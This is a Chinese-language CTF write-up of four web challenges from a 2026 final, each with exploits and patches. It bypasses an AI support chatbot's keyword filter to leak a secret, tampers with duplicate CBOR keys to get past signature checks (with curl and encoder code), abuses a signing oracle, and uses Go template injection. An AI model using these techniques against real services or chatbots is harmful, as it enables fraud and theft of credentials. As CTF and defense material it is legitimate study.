2026 湾区杯 决赛 web 部分

作者:流云技术札 发布:2026-10-08 14:25 收录:2026-10-08 16:09 4 次阅读 约 5017 字
摘要:重制版
推荐理由:本文涵盖「湾区杯」、「CTF」、「Web安全」等多个主题,重点关注 湾区杯。

师傅好呀

2026 湾区杯 决赛 web 部分


ctf比赛

导读 · CONTENTS

01InduCoreBot

02CarbonTrace

03Flowise

04sky_uom

05lingyun_atlas

06小结

01

InduCoreBot

INDUCOREBOT


CODE


The service provides an AI customer support chat frontend. The backend calls an OpenAI-compatible Chat Completions API.

跟踪到过滤函数后进行分析

JAVASCRIPT


function needsCannedReply(message) {

  const normalized = foldFullWidth(String(message).toLowerCase()).replace(SCREEN_STRIP_RE, "");

  if (!normalized) {

    return false;

  }

  const folded = dLeefolt(normalized);

  return SCREEN_TERMS.some(term => normalized.includes(term) || folded.includes(term));

}

JAVASCRIPT


function foldFullWidth(text) {

  return text.replace(/[\uFF01-\uFF5E]/g, ch => String.fromCharCode(ch.charCodeAt(0) - 0xFEE0));

}

POINT 1foldFullWidth:U+FF01–FF5E 减 0xFEE0,无法全半角字符绕过

toLowerCase → foldFullWidth → 删字符 → (空则放行)→ foldLeet

JAVASCRIPT


async function answerCustomer(message, context) {

  if (needsCannedReply(message)) {

    return {

      reply: CANNED_REPLY

    };

  }

needsCannedReply最后返回布尔值,若真则返回固定话术 但检查调用模型的代码,发现会直接将原文发送给 ai 且输出无任何过滤 因此这里归一化后不含有词表里的词,就能任意和 ai 交互


防御用输出时正则过滤 flag 或者检测到 flag 输出固定话术

02

CarbonTrace

CARBONTRACE


CODE


CarbonTrace is a carbon asset and reward settlement platform designed for new-energy logistics fleets.

 

The platform has recently introduced a new vehicle data submission workflow. Once submitted data is accepted by the system, the corresponding account receives reward points and may redeem them after meeting the required threshold.

 

As an ordinary user, you have no access to the vehicle-side secret key material.

 

Your objective is simple:

 

Make your wallet balance reach the redemption threshold.

烂了,没审计出流程


前言

当时做这道题的时候看到 gateway 是 go 程序就感觉不妙,不过实际做的时候卡在看不懂区块链合约的部分和 CBOR 上了,有关 go 的验签部分根本没看(),不过回头看下实际利用和防御也不需要看 go


源码审计


先分析目录结构,能看到两份 js 代码和一份 solidity 合约,还有 gateway 程序,die 查看发现 go 的 elf 程序


其实从 protocol.md 能看出很多信息


先看 JS

CODE


settlement/src/server.js     ← Express 应用:路由、会话、链交互

settlement/src/cbor.js       ← 手写的最小 CBOR 解析器

settlement/contracts/CarbonCredit.sol

找 flag


需要balance>=10,跟踪 balance


balance 使用 creditBalanc 通过合约取出,跟踪合约定义,先不看前面的验签部分


同时前面 abi 定义了合约函数和事件

JAVASCRIPT


const abi = [

  "function settle(bytes32 eventIdHash, address wallet, uint256 energyWh)",

  "function creditBalance(address wallet) view returns (uint256)",

  "event SettlementAccepted(bytes32 indexed eventIdHash, address indexed wallet, uint256 energyWh, uint256 credited)"

];

配合合约进行分析,能看到 creditBalance 函数用于读取 creditBalanced 键值对映射(类似字典)

SOLIDITY


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.24;

 

contract CarbonCredit {

    address public immutable relayer;

    mapping(bytes32 => bool) public eventUsed;

    mapping(address => uint256) public creditBalance;

 

    event SettlementAccepted(

        bytes32 indexed eventIdHash,

        address indexed wallet,

        uint256 energyWh,

        uint256 credited

    );

 

    modifier onlyRelayer() {

        require(msg.sender == relayer, "relayer only");

        _;

    }

 

    constructor(address initialRelayer) {

        relayer = initialRelayer;

    }

 

    function settle(bytes32 eventIdHash, address wallet, uint256 energyWh)

        external

        onlyRelayer

    {

        require(!eventUsed[eventIdHash], "event already settled");

        require(energyWh >= 500 && energyWh <= 25000, "energy outside vehicle envelope");

 

        uint256 credited = energyWh / 1000;

        require(credited > 0, "no credit");

 

        eventUsed[eventIdHash] = true;

        creditBalance[wallet] += credited;

        emit SettlementAccepted(eventIdHash, wallet, energyWh, credited);

    }

}

 

而该映射可以通过合约的 settle 函数修改,成功结算时将每 1000(Wh)转换为 1 碳积分,放入对应账号地址的映射里

SOLIDITY


function settle(bytes32 eventIdHash, address wallet, uint256 energyWh)

    external

    onlyRelayer

{

    require(!eventUsed[eventIdHash], "event already settled");

    require(energyWh >= 500 && energyWh <= 25000, "energy outside vehicle envelope");

 

    uint256 credited = energyWh / 1000;

    require(credited > 0, "no credit");

 

    eventUsed[eventIdHash] = true;

    creditBalance[wallet] += credited;

    emit SettlementAccepted(eventIdHash, wallet, energyWh, credited);

}

回到 server.js 搜索 settle 调用发现就在提取balance之前


继续跟进参数 event.wallet和event.energy_wh,就在上面几行能看到 event 是通过 settlementPayload 定义的,且参数是 unpackCOSE(request.body.cose)可控, 跟进 settlementPayload 发现是 cbor.js 的 export 函数

JAVASCRIPT


export function settlementPayload(rawPayload) {

  const state = { offset: 0 };

  const root = parseValue(rawPayload, state);

  if (state.offset !== rawPayload.length || root.kind !== "map") throw new Error("payload is not a CBOR map");

  const out = Object.create(null);

  for (const [key, value] of root.value) {

    if (key.kind !== "text") throw new Error("non-text payload key");

    out[key.value] = primitive(value);

  }

  return out;

}

📌 提示 CBOR(Concise Binary Object Representation,简洁二进制对象表示),是 RFC 8949 定义的二进制序列化格式,可以看作二进制版的 JSON。

审计 cbor.js 发现是未导入其他库的极简 CBOR 解码器,这里将 rawPayload 进行解码后,写入 out 对象做键值对映射

但是这里未检测解码后的 rawPayload 是否存在重复键,如果重复则后一个键的值将覆盖前一个键的值

而控制了 settlementPayload 返回的 out 的 energy_wh 字段的值即可修改balance,使其超过 10 拿到 flag


Go 逆向

但刚刚的 js 代码审计部分并没有做完,在进行合约交互前事实上有很长一段与 gateway 的验签交互

JS


app.post("/api/settlements/redeem", async (request, response) => {

    const session = await sessionFor(request);                        // (a) 会话 → wallet

    await gateway("/internal/verify", { cose: request.body.cose });   // (b) 委托 gateway 验签

    const { payload: rawPayload } = unpackCOSE(request.body.cose);    // (c) 取"原始" payload 字节

    const event = settlementPayload(rawPayload);                      // (d) 自己解析字段

    if (!/^evt-[0-9a-f]{24}$/.test(event.event_id)) throw ...         // (e)

    if (event.wallet.toLowerCase() !== session.wallet.toLowerCase())  // (f)

        throw protocolError("attestation wallet does not match fleet session");

    if (!Number.isSafeInteger(event.energy_wh)) throw ...             // (g)

    const tx = await contract.settle(keccak256(toUtf8Bytes(event.event_id)),

                                     event.wallet, event.energy_wh);  // (h) 上链

    ...

});

1验签被委托出去((b)),结算服务自己不做任何密码学校验;
2业务字段来自自己的第二次解析((c)(d)),而不是验签方给的结果;
3unpackCOSE 只做结构检查(tag18 / 4 元素 / payload 是 bstr),不检查 protected 头、不检查规范编码;
4JS 侧的字段校验很宽松:energy_wh 只要求是安全整数(上限交给合约的 25000)。

📌 提示 注意:下文有很大一部分 ai 辅助,有问题请指出;可以跳过直接看利用和防御

这里审计 gateway 函数就能看到是向gateway服务发请求,这里端口什么的都不用管,直接 go 逆向启动

JAVASCRIPT


async function gateway(pathname, body) {

  const response = await fetch(`${gatewayUrl}${pathname}`, {

    method: "POST",

    headers: { "content-type": "application/json", "x-gateway-secret": sharedSecret },

    body: JSON.stringify(body),

    signal: AbortSignal.timeout(5000)

  });

  const parsed = await response.json().catch(() => ({}));

  if (!response.ok) {

    const error = new Error(parsed.error || "gateway rejected request");

    error.status = response.status;

    throw error;

  }

  return parsed;

}

Go 把符号放在自己的 .gopclntab,不在 ELF 符号表里;

而实测 go_parser 和GoReSym对高版本 go 的符号表还原不尽人意,还是直接用 ida9.4 看 还有 redress 看下函数


然后从 js 的逻辑能看到访问了 gateway 的四个路由/api/demo/issue、/api/checker/issue、/api/fleet/register、/internal/verify、/internal/session/validate → 按 X 看 xref → 落在 main.main 里的net/http.(*ServeMux).HandleFunc 调用旁 → 相邻的 LEA 就是 handler;

GO


# 源码原型

http.HandleFunc("/api/demo/issue", gateway.issue)



这里就审计下验签的路由/internal/verify 吧,其他 re 不动了()


验签 xref 跳转到引用的汇编


CODE


看 0x662593 前后(这就是一次路由注册):

    0x66255c  lea rax, RTYPE_struct__F_uintptr_R__ptr_main_gateway_   ; 分配闭包结构体 {fn, g}

    0x662563  call runtime_newobject

    0x662568  lea rdx, main__ptr_gateway_verifyProof_fm   ; ★ handler = 方法值包装 -fm

    0x66256f  mov [rax], rdx

    0x66258c  mov [r11], rdx / 0x66258f mov [rax+8], rdx   ; 捕获接收者 g 存进闭包

    0x662593  lea rbx, aInternalVerify                     ; "/internal/verify"

    0x66259a  mov ecx, 10h                                 ; 长度 16

    0x66259f  mov rdi, rax                                 ; handler 闭包

    0x6625a7  call net_http__ptr_ServeMux_HandleFunc        ; mux.HandleFunc("/internal/verify", g.verifyProof)

追踪 loc 能看到是 main__ptr_gateway_verifyProof_fm 调用的,跳转审计逻辑



CODE


    0x662aa1  mov rdx, [rdx+8]        ; 从闭包里取出捕获的接收者 g

    0x662aae  mov rax, rdx

    0x662ab1  call main__ptr_gateway_verifyProof   ; ★ 真身

到达 main.(*gateway).verifyProof @ 0x661960

📌 提示 `-fm` 是什么:源码写的是 mux.HandleFunc("/internal/verify", g.verifyProof),g.verifyProof 是"方法值"(bound method value),Go 编译器为它生成一个瘦包装函数 <方法>-fm:捕获接收者 g,调用时把 g 塞进 rax 再跳真方法。所以注册处永远看到 `-fm`,真身在下一跳

① 门禁:POST + 网关密钥




CODE


0x66198d  cmp qword ptr [rdi+8], 4         ; 方法名长度 == 4

0x661997  cmp dword ptr [rdx], 54534F50h   ; "POST"

0x66199d  jnz loc_6619FC                   ; 否则 ↓

0x6619b3  lea rbx, aXGatewaySecret         ; "X-Gateway-Secret"

0x6619c0  call net_textproto_MIMEHeader_Get

0x6619e4  call runtime_memequal            ; 与 g.sharedSecret 比较(普通字符串相等,不是常量时间)

0x6619f6  jz  loc_661A84                   ; 通过 → 继续

0x661a48  lea rdx, aInternalEndpoi         ; 失败 → 400 {"error":"internal endpoint"}

0x661a76  call main_writeJSON

注意:方法校验和密钥校验共用同一个失败出口,报的都是 internal endpoint

② 取 cose + base64 解码 + 长度上限(0x661a84–0x661af5)


CODE


0x661a84  lea rax, RTYPE_struct__COSE_string_json_cose_   ; body 结构 {COSE string `json:"cose"`}

0x661ac1  call main_readJSON                ; 解析失败 → readJSON 内部已回 400

0x661ae4  call encoding_base64__ptr_Encoding_DecodeString ; base64url 解码

0x661ae9  test rdi, rdi                     ; rdi = error.type,非 0 即出错

0x661aee  cmp rbx, 4000h                    ; 解码后字节数 ≤ 16384

0x661af5  jle loc_661B84

0x661b48  lea rdx, aInvalidCoseEnc          ; 失败 → 400 "invalid COSE encoding"


往后跟发现 call unpackCOSE


这里不具体分析了

④ protected 必须正好是 `a10127` + 签名长度 64(0x661bb9–0x661c33)

继续往后


CODE


0x661be8  lea rax, RTYPE_uint8

0x661bf2  call runtime_makeslice            ; 给 hex 编码开缓冲

0x662000  (hex 编码循环,表 0x662015 = "0123456789abcd")

0x662052  call runtime_slicebytetostring

0x662057  lea rcx, aA10127                  ; "a10127" (= {1:-8} EdDSA)

0x662063  call strings_EqualFold            ; 必须完全相等

0x661c2f  cmp r10, 40h                      ; 签名长度 == 0x40 = 64

0x661c33  jz  loc_661CBD

0x661c81  lea rdx, aInvalidCoseSig          ; 失败 → 400 "invalid COSE_Sign1"

⑤ ★ firstWinsPayload 0x661cc6 → 0x65ec80


CODE


0x661cc6  call main_firstWinsPayload

0x661ccb  test rbx, rbx

0x661cce  jz   loc_661E04                   ; 成功才继续

0x661d29  lea rdx, aAttestationPay          ; 失败 → 日志 "attestation payload parse rejected: %v"

0x661d76  call log__ptr_Logger_output

0x661dc8  lea rdx, aInvalidAttesta          ; → 400 "invalid attestation payload"

函数内部(决定性的两行):


CODE


0x65ecc0  call main_parseCBOR               ; 建树,重复键原样保留成两个 cborPair

0x65eceb  cmpb $0x5, (%rax)                 ; 根必须是 map

0x65ee25  call runtime_mapaccess1_faststr   ; 查键是否已存在

0x65ee2d  je   0x65ee36                     ; 不存在 → 赋值

0x65ee34  jmp  0x65edce                     ; 已存在 → 跳过   ★ 重复键保留【第一个】

⑥ ★ canonicalCBOR 0x661e04 → 0x65e2c0


CODE


0x661e04  call main_canonicalCBOR

0x661e09  test rdi, rdi

0x661e0c  jz   loc_661E92                   ; err == nil → 继续

0x661e56  lea rdx, aCannotCanonica          ; → 400 "cannot canonicalize payload"

内部:0x65e840/0x65e868 递归编码键与值 → 0x65ea22 call sort.Slice(pairs, 按键字节序) → 0x65ea27/0x65ea31 encodeCBORLength(5, len(pairs)) 写 map 头 → 0x65ea63 memmove 输出。 因为输入已经是 Go map(重复键在 ⑤ 就没了),输出里不可能出现重复键。

⑦ sigStructure 0x661eb3 → 0x65f180


CODE


0x661e9b/0x661ea3/0x661eab  mov ...            ; 参数1 = protected

0x661e92/0x661e95/0x661e98  mov ...            ; 参数2 = ⑥ 的 canonical 字节

0x661eb3  call main_sigStructure

0x661eb8  test rdi, rdi / 0x661ebb jnz loc_661F13   ; 出错 → 401

内部:0x65f1e7 lea r9, aSignature1("Signature1")→ 构造 array(4) = [tstr, protected, bstr(空), payload] → 0x65f339 call main_canonicalCBOR 把整个待签结构编码成字节。

⑧ ed25519.Verify 0x661f06

CODE


0x661ec5/0x661ecd/0x661ed1  ; 取 g.tboxPub 切片(结构体偏移 0x18/0x20/0x28)

0x661efd/0x661f00/0x661f03  ; 取签名

0x661f06  call crypto_ed25519_verify        ; ed25519.Verify(pub, toSign, sig)

0x661f0b  test al, al

0x661f0d  jnz loc_661F93                    ; 通过

0x661f93  ... map_string_bool + "verified"  

0x661fe2  call main_writeJSON               ; 200 {"verified":"true"}

0x661f57  lea rdx, aTBoxSignatureR          ; 失败 → 401 "T-Box signature rejected"

结论

CODE


toSign = canonicalCBOR(  ["Signature1", protected, "", payload]  )

         └─ payload 这一项 = canonicalCBOR( firstWinsPayload( 原始 payload 字节 ) )

                                  ↑ 去重(留第一个)      ↑ 规范化重编码





利用 1. 验签对象 ≠ 业务解析对象;

1两侧对重复键的取舍相反:Go first-wins,JS last-wins;
2业务侧接受被抬高的值:JS 只校验"是安全整数",合约上限恰好是 25000(credited = 25)。

因果链

CODE


① 合法凭证(1800 Wh)→ ② 在 payload 末尾追加重复键 "energy_wh": 25000

        │

        ├─ 网关:firstWinsPayload 取到 1800 → canonicalCBOR 输出与签发时逐字节相同

        │         → ed25519.verify 通过 → {"verified":true}

        └─ 结算:settlementPayload last-wins 取到 25000 → 钱包/事件号校验通过

                  → contract.settle(hash, wallet, 25000) → credited = 25

                            → /api/rewards/claim:25 ≥ 10 → flag

字节层面(a6→a7,重复键放在最后)

CODE


原 payload:  a6 ... 69 "energy_wh" 19 07 08(=1800) ... 6a "vehicle_did" ...

篡改后:      a7 ... 69 "energy_wh" 19 07 08(=1800) ... 6a "vehicle_did" ... 69 "energy_wh" 19 61 a8(=25000)

              └── 网关 first-wins 读这里 = 1800 ──────────────────────┘   └── JS last-wins 读这里 = 25000 ──┘

同类利用面:把重复键换成 event_id(第一个给网关验签、最后一个换新值给结算), 可让同一张凭证反复入账——所以修复必须"拒绝重复键",而不是只拦 energy_wh




BASH


# ① 注册(拿 fleet_token)

curl -s -XPOST http://TARGET:18080/api/fleet/register -H 'content-type: application/json' \

     -d '{"wallet":"0x<你的地址>"}'

 

# ② 领 1800 Wh 演示凭证

curl -s -XPOST http://TARGET:18080/api/demo/issue -H "X-Fleet-Token: <token>"

 

# ③ 篡改后提交结算(重复键追加在 payload 末尾,签名不动)

curl -s -XPOST http://TARGET:3000/api/settlements/redeem \

     -H "x-fleet-token: <token>" -H 'content-type: application/json' \

     -d '{"cose":"<篡改后的 base64url>"}'

curl -s -XPOST http://TARGET:3000/api/rewards/claim -H "x-fleet-token: <token>"

篡改核心是解码 cbor 后在尾部添加重复键值对 energy_wh=25000 后重新编码用于提交

解码部分直接照抄 cbor.js 的内容

JAVASCRIPT


const cose = parseValue(raw);                                  

const [prot, unprot, payloadNode, sig] = cose.value.value;      // tag18 → array(4)

const payloadMap = parseValue(payloadNode.value);               

 

payloadMap.value.push([{ kind: "text", value: "energy_wh" }, { kind: "uint", value: 25000 }]);

 

const head = (major, n) => n < 24 ? Buffer.from([(major<<5)|n]) : n < 256 ? Buffer.from([(major<<5)|24, n]) : /* … */;

function encode(node) {

  switch (node.kind) {

    case "uint":  return head(0, node.value);

    case "text":  { const b = Buffer.from(node.value,"utf8"); return Buffer.concat([head(3,b.length), b]); }

    case "bytes": return Buffer.concat([head(2, node.value.length), node.value]);

    case "map":   return Buffer.concat([head(5, node.value.length), ...node.value.flatMap(([k,v])=>[encode(k),encode(v)])]);

    case "array": return Buffer.concat([head(4, node.value.length), ...node.value.map(encode)]);

    case "tag":   return Buffer.concat([head(6, node.tag), encode(node.value)]);

  }

}

payloadNode.value = encode(payloadMap);        

const out = encode(cose);                      

输出发送至/api/settlements/redeem即可获得 25 点碳积分,验证谈积分>=10 后拿到 flag





防御

根因是"两侧解析语义不一致",所以让 JS 侧与 Go 侧一致即可:解析 payload 时发现重复键直接报错

补丁(`settlement/src/cbor.js`)

DIFF


   const out = Object.create(null);

+  const seen = new Set();

   for (const [key, value] of root.value) {

     if (key.kind !== "text") throw new Error("non-text payload key");

+    if (seen.has(key.value)) throw new Error("duplicate payload key");

+    seen.add(key.value);

     out[key.value] = primitive(value);

   }


框架

POINT 1系统由 Go 网关(签发/验签 T-Box 凭证)+ Node 清算服务(业务与链交互)+ Solidity 合约(积分账本)组成。
MERMAID


flowchart LR

    A["用户/车队 (fleet)"]

    B["gateway:18080 Go 程序 车队注册 模拟T-Box签发 验签"]

    C["settlement:3000 Node 验签、入账"]

    D["测试链 CarbonCredit合约 JSON-RPC 8545"]

 

    A --①注册领凭证--> B

    B --②token+Ed25519凭证--> A

    A --③提交结算--> C

    C --内部调用(密钥)--> B

    C --④relayer发交易--> D

MERMAID


sequenceDiagram

    participant A as 用户/车队

    participant B as gateway:18080 Go

    participant C as settlement:3000 Node

    participant D as 测试链合约

 

    A->>B: ①注册/领凭证

    B-->>A: ②fleet_token + Ed25519凭证

    A->>C: ③提交凭证结算

    C->>B: 内部调用(带密钥)验签

    C->>D: ④relayer私钥发送交易

凭证签发验签完整流程 1. POST /api/fleet/register {wallet} → 得到 fleet_token(48 位 hex)与 vehicle_did;

1POST /api/demo/issue(头 X-Fleet-Token)→ 网关模拟车端 T-Box签发一张 1800 Wh 的 COSE_Sign1 凭证(Ed25519 签名),每个车队只能领一次;
2POST /api/settlements/redeem {cose}(头 X-Fleet-Token)→ 结算服务先让网关验签,再自己解析字段,通过后用 relayer 私钥调链上合约 settle();
3合约:500 ≤ energyWh ≤ 25000、credited = energyWh/1000、同一 event_id 只能入账一次;
4POST /api/rewards/claim → 链上余额 ≥ 10 → 返回 flag。

一半 Go 一半 JS

POINT 1Go 层贴近设备:静态单文件、可交叉编译、CGO 关闭(实测 -trimpath、CGO_ENABLED=0),并持有签名私钥;
POINT 2JS 层贴近链:以太坊 SDK(ethers/solc)生态在 Node 最成熟,server.js 里连 Solidity 合约都是启动时用 solc 现编译的。

但从安全设计看更要紧的是:

CODE


gateway   持有私钥 → 能验签,但不懂业务

settlement 懂业务(wallet/energy/链) → 拿不到 T-Box 公钥,只能委托 gateway 验签

于是 settlement 必须"先委托验签,再自己解析一遍原始字节取字段"。 "验签在 A、取字段在 B"的结构,要求两侧对同一份字节的理解完全一致——这正是本题被打破的不变量。

03

Flowise

FLOWISE


CODE


(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)


给了,不会;不是 cve 专家真是抱歉(队友莫怪喵

04

sky_uom

SKY


CODE


某市低空飞行综合监管平台"苍穹 UOM"完成 v2 升级:飞手注册、飞行申请、空域通报一应俱全。平台早期为存量机载固件保留了一套 v1 设备接入接口,而"管制空域机密通报"只在管理员签名导出通道中流转。请从公开入口出发取得机密通报内容。

漏洞是 /api/v1/time 接口可以产生 /api/v2/admin/bulletin/export需要的x-sign认证信息

JAVASCRIPT


if (p === '/api/v1/time' && req.method === 'GET') {

      const ts = u.searchParams.get('ts') || String(Math.floor(Date.now() / 1000));

      const keywords = ["id", "action", "export"];

 

      for (const i of keywords) {

          if (ts.includes(i)) {

              result = "Hacker!";

              return send(res, 200, { ts });

          }

      }

 

      return send(res, 200, { ts, sig: sha256b(Buffer.concat([SIGN_SECRET, Buffer.from(ts, 'latin1')])), algo: 'sha256', ttl: 300 });

    }

JAVASCRIPT


if (p === '/api/v2/admin/bulletin/export' && req.method === 'POST') {

  const rawBuf = await readBody(req);

  const xs = req.headers['x-sign'] || '';

  const parts = rawBuf.toString('latin1').split('|');

  if (parts.length < 2) return send(res, 400, { error: '格式错误:缺少 |' });

  const ts = parseInt(parts[parts.length - 2], 10);

  if (!Number.isFinite(ts) || Math.abs(Math.floor(Date.now() / 1000) - ts) > 600) {

    return send(res, 400, { error: '时间戳无效或超时' });

  }

  let cmd;

  try { cmd = JSON.parse(parts[parts.length - 1]); } catch { return send(res, 400, { error: '指令 JSON 解析失败' }); }

  if (cmd.action !== 'export' || !bulletins.some((b) => b.id === cmd.id)) return send(res, 400, { error: '不支持的指令' });

  const expect = sha256b(Buffer.concat([SIGN_SECRET, rawBuf]));

  if (xs.length !== 64 || xs !== expect) return send(res, 403, { error: '签名校验失败' });

  const b = bulletins.find((x) => x.id === cmd.id);

  return send(res, 200, { ok: true, id: b.id, title: b.title, content: b.id === 3 ? readFlag() : b.content });

}

/api/v1/time参数可控,生成带 payload 的 sha256b(Buffer.concat([SIGN_SECRET, Buffer.from(ts, 'latin1')]))


写入 x-sign 后通过认证拿到 flag





修复就写个过滤,这里用的黑名单

JAVASCRIPT


const keywords = ["id", "action", "export"];

 

for (const i of keywords) {

    if (ts.includes(i)) {

        result = "Hacker!";

        return send(res, 200, { ts });

    }

}

05

lingyun_atlas

LINGYUN


CODE


"凌云低空运力开放平台"是低空物流运力的调度中枢,向接入方开放运力查询与告警通知服务。告警通知支持自定义模板渲染,方便运维推送个性化告警。平台的节点注册信息保存在调度中枢的运行时上下文中,其中"节点接入密钥"等同于节点身份凭据。你能获得这个密钥吗?

附件是 elf 文件,根本看不懂,机子上没有 go 的反编译,或者说有 go 环境但是不知道怎么用 漏洞是 go 的 ssti 信息泄露:{{.}} 直接 dump 数据对象;若引入了 sprig(常见第三方函数库,提供 env / expandenv 等),可 {{env "FLAG"}} 读环境变量;

这里直接 dump 数据对象就能看到了


赛后看了下 go 大概怎么 patch 先看编译版本, -ldflags="-s -w"**(符号被剥)


然后用 redress 看二进制有哪些包和函数

BASH


redress packages 目标文件     # 默认只列「非标准库」的包 → 等于你/出题人写的代码

redress source   目标文件     # 包 → 文件 → 函数 + 行号范围


只有一个 main 包,8 个函数


之后就去 ida 里看伪代码,定位到具体函数就方便了





经高人提点,大概知道这种怎么 patch 了

最简单的一种是就是打开 winhex 或者 010,将所有 flag 字符换成别的内容

另一种是找 flag 被复制移动的时候将其清空,这道题给两种示例 1. 修改

首先查看 readflag 函数的汇编,能看到 rax 是 flag 的指针,rbx 是长度


然后找到写入结构体的函数 buildContext


找到 call readflag 后第一个复制移动了 rax rbx 的 汇编


地址 · 原来(5 字节) · 改成(5 字节) · 含义

地址0x6fe202

原来(5 字节)48 89 44 24 70

改成(5 字节)31 c0 90 90 90

含义xor eax,eax + 3×nop:rax 清零,同时把 0 写进 Secret.ptr

地址0x6fe207

原来(5 字节)48 89 5c 24 78

改成(5 字节)48 89 44 24 78

含义mov %rax,0x78(%rsp):把已经清零的 rax 写进 Secret.len

这里第二句汇编只要改两个字节,将清零的 rax 写入即可

或者图方便的也可以全部 nop 掉 2. 修改结构体移动到参数区

在 notifyPreview 处找到 buildContext 调用


查看汇编,替换指令,将结构体里的 Secret内容清空

指令 · 机器码 · 长度

指令movups xmm14,[rcx+0x50]

机器码44 0f 10 71 50

长度5 字节

指令pxor xmm14,xmm14

机器码66 45 0f ef f6

长度5 字节


这里是通过看 buildContext 的汇编得到 flag 的具体位置偏移来精确定位的


∞

小结

SUMMARY


前一版检查了下格式和内容都有问题,这版用的好靶场公众号编辑器 v1.3 加上 ai 做的插件弄的,感觉效果还可以,也顺便宣传一下

ssly_aaorn

我是sly_aaorn,学识浅薄,若有疏漏,还请斧正。

如果觉得有用,欢迎点赞、在看、转发三连喵~ 


转载声明:本文转载自原发布平台 (作者:流云技术札), 原文标题《2026 湾区杯 决赛 web 部分》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。